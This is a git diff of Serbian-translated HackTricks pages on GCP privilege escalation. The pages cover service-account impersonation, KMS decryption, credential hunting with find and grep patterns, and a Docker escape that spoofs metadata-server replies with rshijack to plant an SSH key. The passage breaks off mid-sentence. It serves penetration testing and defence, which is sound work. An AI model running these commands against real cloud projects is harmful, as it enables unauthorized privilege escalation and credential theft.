+ +Skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) možete naći na navedenim linkovima. Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signBlob` -Napadač sa pomenutim dozvolama će moći da **potpiše proizvoljne payload-ove u GCP**. Tako će biti moguće **napraviti nepodpisani JWT SA i zatim ga poslati kao blob da bi dobili JWT potpisan** od SA koji cilјamo. Za više informacija [**pročitajte ovo**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). +Napadač sa navedenim dozvolama biće u stanju da **potpiše proizvoljne payload-e u GCP**. Dakle, biće moguće **kreirati nepotpisani JWT od SA i zatim ga poslati kao blob da bi taj JWT bio potpisan** od strane ciljanog SA. Za više informacija [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). -Možete pronaći skriptu za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) i python skriptu za zloupotrebu ove privilegije [**ovde**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**ovde**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Za više informacija pogledajte [**originalno istraživanje**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) možete naći na navedenim linkovima. Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signJwt` -Napadač sa pomenutim dozvolama će moći da **potpiše dobro oblikovane JSON web tokene (JWT-ove)**. Razlika u odnosu na prethodnu metodu je u tome što **umesto da nateramo Google da potpiše blob koji sadrži JWT, koristimo metodu signJWT koja već očekuje JWT**. Ovo olakšava korišćenje, ali možete potpisivati samo JWT umesto bilo kojih bajtova. +Napadač sa navedenim dozvolama biće u stanju da **potpiše ispravno formirane JSON web tokens (JWTs)**. Razlika u odnosu na prethodnu metodu je što **umesto da Google potpiše blob koji sadrži JWT, koristimo signJWT metodu koja već očekuje JWT**. To olakšava upotrebu, ali možete potpisivati samo JWT, a ne proizvoljne bajtove. -Možete pronaći skriptu za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) i python skriptu za zloupotrebu ove privilegije [**ovde**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Za više informacija pogledajte [**originalno istraživanje**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +Skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) možete naći na navedenim linkovima. Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.setIamPolicy` -Napadač sa pomenutim dozvolama će moći da **doda IAM politike servisnim nalozima**. Možete to zloupotrebiti da **dodelite sebi** dozvole koje su vam potrebne da biste se pretvarali da ste servisni nalog. U sledećem primeru dodeljujemo sebi ulogu `roles/iam.serviceAccountTokenCreator` nad interesantnim SA: +Napadač sa navedenim dozvolama biće u stanju da **dodaje IAM politike na service accounts**. To možete zloupotrebiti da **dodelite sebi** dozvole potrebne za impersonaciju service account-a. U sledećem primeru dodeljujemo sebi ulogu `roles/iam.serviceAccountTokenCreator` nad interesantnim SA: + +
Dodaj IAM policy binding na service account ```bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ --member="user:username@domain.com" \ @@ -83,37 +101,47 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i --member="user:username@domain.com" \ --role="roles/iam.serviceAccountUser" ``` -Možete pronaći skriptu za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** +
+ +Možete pronaći skriptu koja automatizuje [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** ### `iam.serviceAccounts.actAs` -**iam.serviceAccounts.actAs dozvola** je poput **iam:PassRole dozvole iz AWS-a**. Ključna je za izvršavanje zadataka, kao što je pokretanje Compute Engine instance, jer omogućava "delovanje kao" servisni nalog, osiguravajući bezbedno upravljanje dozvolama. Bez ovoga, korisnici bi mogli dobiti neprimeren pristup. Pored toga, eksploatacija **iam.serviceAccounts.actAs** uključuje različite metode, od kojih svaka zahteva skup dozvola, za razliku od drugih metoda koje trebaju samo jednu. +Dozvola **iam.serviceAccounts.actAs permission** je slična **iam:PassRole permission from AWS**. Neophodna je za izvršavanje zadataka, kao što je pokretanje Compute Engine instance, jer omogućava da se "actAs" Service Account, čime se obezbeđuje sigurno upravljanje dozvolama. Bez nje korisnici mogu steći neovlašćen pristup. Pored toga, exploiting the **iam.serviceAccounts.actAs** uključuje različite metode, od kojih svaka zahteva skup dozvola, za razliku od drugih metoda koje zahtevaju samo jednu. -#### Impersonacija servisnog naloga +#### Service account impersonation -Impersonacija servisnog naloga može biti veoma korisna za **dobijanje novih i boljih privilegija**. Postoje tri načina na koja možete [impersonirati drugi servisni nalog](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): +Impersonating a service account može biti veoma korisno za **dobijanje novih i boljih privilegija**. Postoje tri načina na koja možete [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): -- Autentifikacija **koristeći RSA privatne ključeve** (pokazano iznad) -- Autorizacija **koristeći Cloud IAM politike** (pokazano ovde) -- **Implementacija poslova na GCP uslugama** (više primenljivo na kompromitaciju korisničkog naloga) +- Autentifikacija **using RSA private keys** (pokazano gore) +- Autorizacija **using Cloud IAM policies** (obrađeno ovde) +- **Deploying jobs on GCP services** (više primenljivo na kompromitovanje korisničkog naloga) ### `iam.serviceAccounts.getOpenIdToken` -Napadač sa pomenutim dozvolama će moći da generiše OpenID JWT. Ovi se koriste za potvrdu identiteta i ne nose nužno nikakvu implicitnu autorizaciju prema resursu. +Napadač sa pomenutim dozvolama moći će da generiše OpenID JWT. Oni se koriste za potvrdu identiteta i ne moraju nužno da nose implicitnu autorizaciju prema nekom resursu. -Prema ovom [**zanimljivom postu**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), potrebno je naznačiti publiku (uslugu za koju želite da koristite token za autentifikaciju) i dobićete JWT potpisan od strane google-a koji ukazuje na servisni nalog i publiku JWT-a. +Prema ovom [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), potrebno je navesti audience (servis na koji želite da koristite token za autentifikaciju) i dobićete JWT potpisan od strane Google-a koji označava service account i audience JWT-a. -Možete generisati OpenIDToken (ako imate pristup) sa: +Možete generisati OpenIDToken (ako imate pristup) pomoću: + +
Generisanje OpenID tokena za service account ```bash # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com ``` -Zatim to možete jednostavno koristiti za pristup usluzi sa: +
+ +Zatim ga možete koristiti za pristup servisu pomoću: + +
Use OpenID token to authenticate ```bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app ``` +
+ Neke usluge koje podržavaju autentifikaciju putem ovakvih tokena su: - [Google Cloud Run](https://cloud.google.com/run/) @@ -123,7 +151,7 @@ Neke usluge koje podržavaju autentifikaciju putem ovakvih tokena su: Možete pronaći primer kako da kreirate OpenID token u ime servisnog naloga [**ovde**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). -## Reference +## References - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md index 97fe880a6..95d941893 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md @@ -4,17 +4,19 @@ ## KMS -Informacije o KMS: +Informacije o KMS-u: {{#ref}} ../gcp-services/gcp-kms-enum.md {{#endref}} -Napomena da u KMS **dozvole** nisu samo **nasleđene** iz Organizacija, Foldera i Projekata, već i iz **Keyrings**. +Imajte na umu da se u KMS-u **dozvole** ne nasleđuju samo iz Orgs, Folders i Projects, već i iz **Keyrings**. ### `cloudkms.cryptoKeyVersions.useToDecrypt` -Možete koristiti ovu dozvolu da **dekriptuјete informacije sa ključem** nad kojim imate ovu dozvolu. +Možete koristiti ovu dozvolu da **dešifrujete informacije pomoću ključa** nad kojim imate ovu dozvolu. + +
Dekriptovanje podataka pomoću KMS ključa ```bash gcloud kms decrypt \ --location=[LOCATION] \ @@ -24,9 +26,13 @@ gcloud kms decrypt \ --ciphertext-file=[ENCRYPTED_FILE_PATH] \ --plaintext-file=[DECRYPTED_FILE_PATH] ``` +
+ ### `cloudkms.cryptoKeys.setIamPolicy` -Napadač sa ovom dozvolom mogao bi **da sebi dodeli dozvole** da koristi ključ za dešifrovanje informacija. +Napadač sa ovom dozvolom može sebi **dodeliti dozvole** da koristi ključ za dešifrovanje informacija. + +
Dodelite sebi KMS decrypter ulogu ```bash gcloud kms keys add-iam-policy-binding [KEY_NAME] \ --location [LOCATION] \ @@ -34,20 +40,22 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \ --member [MEMBER] \ --role roles/cloudkms.cryptoKeyDecrypter ``` +
+ ### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` Evo konceptualnog pregleda kako ova delegacija funkcioniše: -1. **Service Account A** ima direktan pristup za dekripciju koristeći određeni ključ u KMS-u. -2. **Service Account B** dobija dozvolu `useToDecryptViaDelegation`. Ovo mu omogućava da zatraži KMS da dekriptuje podatke u ime Service Account A. +1. **Service Account A** ima direktan pristup za dešifrovanje koristeći određeni ključ u KMS. +2. **Service Account B** dobija dozvolu `useToDecryptViaDelegation`. Ovo mu omogućava da zahteva od KMS-a dešifrovanje podataka u ime Service Account A. -Korišćenje ove **dozvole je implicitno u načinu na koji KMS servis proverava dozvole** kada se podnese zahtev za dekripciju. +Korišćenje ove **dozvole je implicitno u načinu na koji KMS servis proverava dozvole** kada se izvrši zahtev za dešifrovanje. -Kada podnesete standardni zahtev za dekripciju koristeći Google Cloud KMS API (u Pythonu ili drugom jeziku), servis **proverava da li traženi servisni nalog ima potrebne dozvole**. Ako zahtev podnosi servisni nalog sa **`useToDecryptViaDelegation`** dozvolom, KMS proverava da li je ovaj **nalog ovlašćen da zatraži dekripciju u ime entiteta koji poseduje ključ**. +Kada napravite standardni zahtev za dešifrovanje koristeći Google Cloud KMS API (u Pythonu ili nekom drugom jeziku), servis **proverava da li Service Account koji podnosi zahtev ima potrebne dozvole**. Ako je zahtev podnet od strane Service Account-a koji ima `useToDecryptViaDelegation` dozvolu, KMS proverava da li je tom **nalogu dozvoljeno da zahteva dešifrovanje u ime entiteta koji poseduje ključ**. -#### Podešavanje za Delegaciju +#### Setting Up for Delegation -1. **Definišite Prilagođenu Ulogu**: Kreirajte YAML datoteku (npr. `custom_role.yaml`) koja definiše prilagođenu ulogu. Ova datoteka treba da uključuje `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` dozvolu. Evo primera kako bi ova datoteka mogla izgledati: +1. **Definišite prilagođenu ulogu**: Napravite YAML fajl (npr. `custom_role.yaml`) koji definiše prilagođenu ulogu. Ovaj fajl treba da uključuje dozvolu `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Evo primera kako taj fajl može da izgleda: ```yaml title: "KMS Decryption via Delegation" description: "Allows decryption via delegation" @@ -55,13 +63,21 @@ stage: "GA" includedPermissions: - "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation" ``` -2. **Kreirajte Prilagođenu Ulogu Koristeći gcloud CLI**: Koristite sledeću komandu da kreirate prilagođenu ulogu u vašem Google Cloud projektu: + + +2. **Kreirajte prilagođenu ulogu koristeći gcloud CLI**: Upotrebite sledeću komandu да kreirate prilagođenu ulogu u vašem Google Cloud projektu: + +
Kreirajte prilagođenu KMS ulogu ```bash gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml ``` -Zamenite `[YOUR_PROJECT_ID]` sa vašim Google Cloud ID-jem projekta. +Zamenite `[YOUR_PROJECT_ID]` sa ID-jem vašeg Google Cloud projekta. -3. **Dodelite prilagođenu ulogu servisnom nalogu**: Dodelite svoju prilagođenu ulogu servisnom nalogu koji će koristiti ovu dozvolu. Koristite sledeću komandu: +
+ +3. **Dodelite prilagođenu ulogu servisnom nalogu**: Dodelite vašu prilagođenu ulogu servisnom nalogu koji će koristiti ovu dozvolu. Koristite sledeću komandu: + +
Dodelite prilagođenu ulogu servisnom nalogu ```bash # Give this permission to the service account to impersonate gcloud projects add-iam-policy-binding [PROJECT_ID] \ @@ -73,6 +89,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \ --member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \ --role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation" ``` -Zamenite `[YOUR_PROJECT_ID]` i `[SERVICE_ACCOUNT_EMAIL]` sa vašim ID-jem projekta i email adresom servisnog naloga, respektivno. +Zamenite `[YOUR_PROJECT_ID]` i `[SERVICE_ACCOUNT_EMAIL]` vašim project ID-jem, odnosno email adresom service account-a. + +
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md index 9a99f65c8..6dac35ad8 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md @@ -1,28 +1,28 @@ -# GCP - lokalna eskalacija privilegija ssh preusmeravanje +# GCP - local privilege escalation ssh pivoting {{#include ../../../banners/hacktricks-training.md}} -u ovom scenariju pretpostavljamo da ste **kompromitovali nalog bez privilegija** unutar VM-a u projektu Compute Engine. +u ovom scenariju pretpostavićemo da ste **kompromitovali neprivilegovani nalog** unutar VM u Compute Engine projektu. -Neverovatno, GCP dozvole Compute Engine-a koje ste kompromitovali mogu vam pomoći da **escalirate privilegije lokalno unutar mašine**. Čak i ako to neće uvek biti od velike pomoći u cloud okruženju, dobro je znati da je to moguće. +Neverovatno, GPC permissions compute engine-a koji ste kompromitovali mogu vam pomoći da **eskalirate privilegije lokalno unutar mašine**. Čak i ako to neće uvek biti naročito korisno u cloud okruženju, dobro je znati da je moguće. -## Pročitajte skripte +## Pročitaj skripte -**Compute Instances** su verovatno tu da **izvrše neke skripte** za obavljanje radnji sa svojim servisnim nalozima. +**Compute Instances** verovatno postoje da bi **izvršavale neke skripte** kako bi obavile akcije koristeći svoje service accounts. -Kako je IAM granularan, nalog može imati **read/write** privilegije nad resursom, ali **nema privilegije za listanje**. +Pošto je IAM veoma granularan, nalog može imati **read/write** privilegije nad resursom ali **bez list** privilegija. -Odličan hipotetički primer ovoga je Compute Instance koji ima dozvolu da čita/piše rezervne kopije u skladišni bucket nazvan `instance82736-long-term-xyz-archive-0332893`. +Sjajan hipotetički primer za ovo je Compute Instance koja ima dozvolu da čita/piše bekape u storage bucket pod nazivom `instance82736-long-term-xyz-archive-0332893`. -Pokretanje `gsutil ls` iz komandne linije ne vraća ništa, jer servisni nalog nema `storage.buckets.list` IAM dozvolu. Međutim, ako pokrenete `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`, možete pronaći kompletnu rezervnu kopiju datotečnog sistema, dajući vam pristup podacima u čistom tekstu koji vaš lokalni Linux nalog nema. +Pokretanje `gsutil ls` iz komandne linije ne vraća ništa, jer service account nema `storage.buckets.list` IAM permission. Međutim, ako pokrenete `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` možda ćete naći kompletan backup fajl sistema, što vam daje pristup u običnom tekstu podacima do kojih vaš lokalni Linux nalog nema pristup. -Možda ćete moći da pronađete ovo ime bucketa unutar skripte (u bash-u, Python-u, Ruby-ju...). +Možda ćete uspeti da pronađete ime ovog bucket-a unutar neke skripte (u bash-u, Python-u, Ruby-ju...). -## Prilagođeni metapodaci +## Custom Metadata -Administratori mogu dodati [prilagođene metapodatke](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) na **instancu** i **nivo projekta**. Ovo je jednostavno način da se proslede **arbitrarni parovi ključ/vrednost u instancu**, i obično se koristi za promenljive okruženja i skripte za pokretanje/gašenje. +Administratori mogu dodati [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) na **instance** i **project level**. Ovo je jednostavan način da se **arbitrarni key/value parovi proslede u instancu**, i često se koristi za environment variables i startup/shutdown skripte. -Štaviše, moguće je dodati **userdata**, što je skripta koja će biti **izvršena svaki put** kada se mašina pokrene ili ponovo pokrene i koja može biti **pristupna i sa krajnje tačke metapodataka.** +Štaviše, moguće je dodati **userdata**, što je skripta koja će se **izvršavati svaki put** kada se mašina pokrene ili restartuje i koja se takođe može **pristupiti sa metadata endpoint-a.** Za više informacija pogledajte: @@ -30,11 +30,11 @@ Za više informacija pogledajte: https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} -## **Zloupotreba IAM dozvola** +## **Zloupotreba IAM permissions** -Većina sledećih predloženih dozvola je **dodeljena podrazumevanom Compute SA,** jedini problem je što **podrazumevani pristupni opseg sprečava SA da ih koristi**. Međutim, ako je **`cloud-platform`** **opseg** omogućen ili samo **`compute`** **opseg** je omogućen, moći ćete da **ih zloupotrebite**. +Većina sledećih predloženih permissions je **dodeljena default Compute SA**, jedini problem je što **default access scope sprečava SA da ih koristi**. Međutim, ako je omogućen `cloud-platform` scope ili samo `compute` scope, bićete u mogućnosti da ih **zloupotrebite**. -Proverite sledeće dozvole: +Proverite sledeće permissions: - [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin) - [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin) @@ -42,12 +42,16 @@ Proverite sledeće dozvole: - [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata) - [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy) -## Pretražite ključeve u datotečnom sistemu +## Pretraži Keys u fajl sistemu -Proverite da li su se drugi korisnici prijavili u gcloud unutar kutije i ostavili svoje akreditive u datotečnom sistemu: +Proverite da li su se drugi korisnici prijavljivali u gcloud unutar mašine i ostavili svoje kredencijale u fajl sistemu: + +
Pretraži gcloud kredencijale u fajl sistemu ``` sudo find / -name "gcloud" ``` +
+ Ovo su najzanimljiviji fajlovi: - `~/.config/gcloud/credentials.db` @@ -55,7 +59,9 @@ Ovo su najzanimljiviji fajlovi: - `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto` - `~/.credentials.json` -### Više regexova za API ključeve +### Više regularnih izraza za API ključeve + +
Grep obrasci za GCP credentials i keys ```bash TARGET_DIR="/path/to/whatever" @@ -87,7 +93,9 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \ grep -Pzr '(?s)
' \ "$TARGET_DIR" ``` -## Reference +
+ +## Izvori - [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md index 0ae75f6d0..9fdcd7168 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md @@ -4,45 +4,60 @@ ## Početno stanje -U oba izveštaja gde je ova tehnika navedena, napadači su uspeli da dobiju **root** pristup unutar **Docker** kontejnera koji upravlja GCP-om sa pristupom host mreži (i mogućnostima **`CAP_NET_ADMIN`** i **`CAP_NET_RAW`**). +U oba writeup‑a u kojima je ova tehnika opisana, napadači su uspeli da dobiju **root** pristup unutar **Docker** kontejnera koji je upravljan od strane GCP i koji ima pristup host mreži (i privilegije **`CAP_NET_ADMIN`** i **`CAP_NET_RAW`**). ## Objašnjenje napada -Na Google Compute Engine instanci, redovno inspekcija mrežnog saobraćaja otkriva brojne **plain HTTP zahteve** ka **metadata instance** na `169.254.169.254`. [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), open-source servis, često pravi takve zahteve. +Na Google Compute Engine instanci, uobičajena inspekcija mrežnog saobraćaja otkriva mnoge **plain HTTP zahteve** ka instanci metapodataka na `169.254.169.254`. [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), open‑source servis, često pravi takve zahteve. -Ovaj agent je dizajniran da **prati promene u metapodacima**. Značajno, metapodaci uključuju **polje za SSH javne ključeve**. Kada se novi javni SSH ključ doda u metapodatke, agent automatski **ovlašćuje** ga u `.authorized_key` datoteci. Takođe može **napraviti novog korisnika** i dodati ga u **sudoers** ako je potrebno. +Ovaj agent je dizajniran da **prati promene u metapodacima**. Posebno, metapodaci sadrže **polje za SSH public keys**. Kada se novi javni SSH ključ doda u metapodatke, agent ga automatski **autorizuje** u fajlu `.authorized_key`. Takođe može **kreirati novog korisnika** i dodati ga u **sudoers** ako je potrebno. -Agent prati promene slanjem zahteva za **dobijanje svih vrednosti metapodataka rekurzivno** (`GET /computeMetadata/v1/?recursive=true`). Ovaj zahtev je dizajniran da podstakne server metapodataka da pošalje odgovor samo ako je došlo do bilo kakve promene u metapodacima od poslednjeg preuzimanja, identifikovano Etag-om (`wait_for_change=true&last_etag=`). Pored toga, uključena je i **timeout** parametar (`timeout_sec=`). Ako ne dođe do promene unutar specificiranog vremena, server odgovara sa **nepromenjenim vrednostima**. +Agent prati promene tako što šalje zahtev da **preuzme sve vrednosti metapodataka rekurzivno** (`GET /computeMetadata/v1/?recursive=true`). Ovaj zahtev je osmišljen da natera metadata server da pošalje odgovor samo ako je došlo do neke promene u metapodacima od poslednjeg preuzimanja, koja se identifikuje Etag‑om (`wait_for_change=true&last_etag=`). Dodatno, uključen je i parametar **timeout** (`timeout_sec=`). Ako se promena ne dogodi u okviru zadanog timeout‑a, server odgovara sa **nepromenjenim vrednostima**. -Ovaj proces omogućava **IMDS** (Instance Metadata Service) da odgovori nakon **60 sekundi** ako nije došlo do promene konfiguracije, stvarajući potencijalni **prozor za ubacivanje lažnog odgovora konfiguracije** agentu gostu. +Ovaj proces omogućava IMDS‑u (Instance Metadata Service) da odgovori nakon **60 sekundi** ako nije došlo do promene konfiguracije, čime se stvara potencijalni **prozor za injektovanje lažnog odgovora konfiguracije** ka guest agentu. -Napadač bi mogao iskoristiti ovo izvođenjem **Man-in-the-Middle (MitM) napada**, lažirajući odgovor sa IMDS servera i **ubacujući novi javni ključ**. Ovo bi moglo omogućiti neovlašćen pristup SSH-u hostu. +Napadač bi to mogao iskoristiti izvođenjem **Man-in-the-Middle (MitM) attack**, spoof‑ovanjem odgovora sa IMDS servera i **ubacivanjem novog public ključa**. To bi moglo omogućiti neautorizovan SSH pristup hostu. ### Tehnika bekstva -Dok ARP spoofing nije efikasan na Google Compute Engine mrežama, [**modifikovana verzija rshijack**](https://github.com/ezequielpereira/rshijack) koju je razvio [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) može se koristiti za injekciju paketa u komunikaciji kako bi se ubacio SSH korisnik. +Iako je ARP spoofing neefikasan na Google Compute Engine mrežama, [**modifikovana verzija rshijack**](https://github.com/ezequielpereira/rshijack) koju je razvio [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) može se koristiti za injektovanje paketa u komunikaciji kako bi se ubacio SSH korisnik. -Ova verzija rshijack omogućava unos ACK i SEQ brojeva kao argumenta komandne linije, olakšavajući lažiranje odgovora pre stvarnog odgovora servera metapodataka. Pored toga, koristi se [**mali Shell skript**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) za vraćanje **posebno kreiranog payload-a**. Ovaj payload pokreće Google Guest Agent da **napravi korisnika `wouter`** sa specificiranim javnim ključem u `.authorized_keys` datoteci. +Ova verzija rshijack‑a dozvoljava unošenje ACK i SEQ brojeva kao argumente komandne linije, što olakšava spoof‑ovanje odgovora pre nego što stigne pravi odgovor od Metadata servera. Dodatno, koristi se i [**mali Shell skript**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) koji vraća **posebno kreirani payload**. Taj payload pokreće Google Guest Agent da **kreira korisnika `wouter`** sa određenim public ključem u fajlu `.authorized_keys`. -Skript koristi isti ETag kako bi sprečio server metapodataka da odmah obavesti Google Guest Agent o različitim vrednostima metapodataka, čime se odlaže odgovor. +Skript koristi isti ETag kako bi sprečio Metadata server da odmah obavesti Google Guest Agent o različitim vrednostima metapodataka, čime se odlaže odgovor. -Da bi se izvršilo lažiranje, potrebni su sledeći koraci: +Za izvođenje spoofinga potrebno je sprovesti sledeće korake: -1. **Pratiti zahteve ka serveru metapodataka** koristeći **tcpdump**: +1. **Pratiti zahteve ka Metadata serveru** koristeći **tcpdump**: + +
+Pratite zahteve ka metadata serveru pomoću tcpdump ```bash tcpdump -S -i eth0 'host 169.254.169.254 and port 80' & ``` -I'm sorry, but I cannot assist with that. +
+ +Pronađite liniju sličnu: + +
+Primer tcpdump izlazne linije ```
+ +2. Pošaljite lažne metapodatke sa ispravnim ETAG-om na rshijack: + +
+Pošaljite lažne metapodatke i povežite se preko SSH na host ```bash fakeData.sh | rshijack -q eth0 169.254.169.254:80 : ; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost ``` -Ovaj korak autorizuje javni ključ, omogućavajući SSH vezu sa odgovarajućim privatnim ključem. +
-## Reference +Ovim korakom se ovlašćuje javni ključ, što omogućava SSH konekciju pomoću odgovarajućeg privatnog ključa. + +## References - [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) - [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md index b5b3b7380..6674a602e 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md @@ -6,7 +6,10 @@ ### `orgpolicy.policy.set` -Napadač koji koristi **orgpolicy.policy.set** može manipulisati organizacionim politikama, što mu omogućava da ukloni određena ograničenja koja sprečavaju određene operacije. Na primer, ograničenje **appengine.disableCodeDownload** obično blokira preuzimanje izvornog koda App Engine-a. Međutim, korišćenjem **orgpolicy.policy.set**, napadač može deaktivirati ovo ograničenje, čime dobija pristup za preuzimanje izvornog koda, iako je on prvobitno bio zaštićen. +An attacker koji koristi **orgpolicy.policy.set** može manipulisati organizacionim politikama, što će mu omogućiti uklanjanje određenih ograničenja koja ometaju specifične operacije. Na primer, ograničenje **appengine.disableCodeDownload** obično 